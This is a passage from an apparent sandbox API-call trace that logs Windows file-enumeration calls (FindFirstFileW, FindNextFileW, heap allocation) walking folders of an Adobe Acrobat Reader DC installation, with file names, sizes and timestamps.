hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0274.533] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0274.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0274.533] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0274.533] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0274.533] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0274.536] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1 [0274.536] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5050048 [0274.537] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0274.537] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.537] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0274.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0274.538] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0274.741] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.741] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0274.741] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x126e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0274.741] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x126e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0 [0274.741] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0274.741] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0274.741] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0274.741] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0274.741] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0275.236] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.236] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0275.236] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0275.236] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0275.236] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0275.236] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0275.237] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0275.237] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0275.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0275.237] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0275.238] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.238] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0275.238] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.238] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0275.243] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.243] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0275.243] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0275.243] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0275.243] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0275.243] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0275.243] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0275.244] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 0 [0275.244] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0275.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0275.245] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0275.245] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0275.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0275.245] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0275.245] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0275.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0275.245] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0275.245] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0275.245] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0275.246] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.246] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 1 [0275.247] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0275.247] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0275.249] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.249] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0275.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0275.249] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ar-ae\\*", lpFindFileData=0x396dcac | out: 